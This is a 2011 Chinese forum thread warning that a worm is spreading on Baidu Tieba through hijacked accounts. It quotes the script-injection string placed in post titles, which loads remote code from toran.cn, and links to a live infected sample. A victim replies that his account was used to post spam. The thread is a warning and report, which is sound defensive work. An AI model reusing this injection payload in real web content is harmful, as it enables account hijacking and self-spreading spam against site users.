toran.cn 百度贴吧正在传播的可疑代码

显示全部楼层 · 发表于 2011-6-26 19:29:51

本帖最后由逍遥佳子于 2011-6-26 19:37 编辑

貌似作案手段为盗百度ID+疯狂在各个贴吧发帖
帖子标题中都含有</script><script/src=//toran.cn/am6>
FIREFOX打开这样的帖子会现在下方显示“正在连接到toran.cn”（貌似是在传送东西？）

http://tieba.baidu.com/f?ct=3524 ... ostSearch&pn=30
此链接是在百度贴吧搜索包含“script toran.cn”关键词的帖子结果

以下是一段捕获的活标本，此贴所在的吧没有吧主，应该不会被删
http://tieba.baidu.com/f?ct=335675392&tn=baiduPostBrowser&sc=12892383375&z=1121269786&pn=0&rn=30&lm=0&rs16=0&word=999999999999999999999999999999999999999999999999999999999999999#12892383375

———————————————以下是受害者反映的情况———————————————————

http://tieba.baidu.com/f?ct=3356 ... 6%C8%BE#12895201842

http://tieba.baidu.com/f?ct=3356 ... 2%B0%CD#12895218207

显示全部楼层 · 发表于 2011-6-26 21:28:08

大师我我刚才在配置吧就遭到这样的攻击了
我自己的号被盗用发了很多贴
然后因为我是小吧就拼命地删了那些帖子
很烦人啊

能说说这攻击方法或者演示下吗？

[已鉴定] toran.cn 百度贴吧正在传播的可疑代码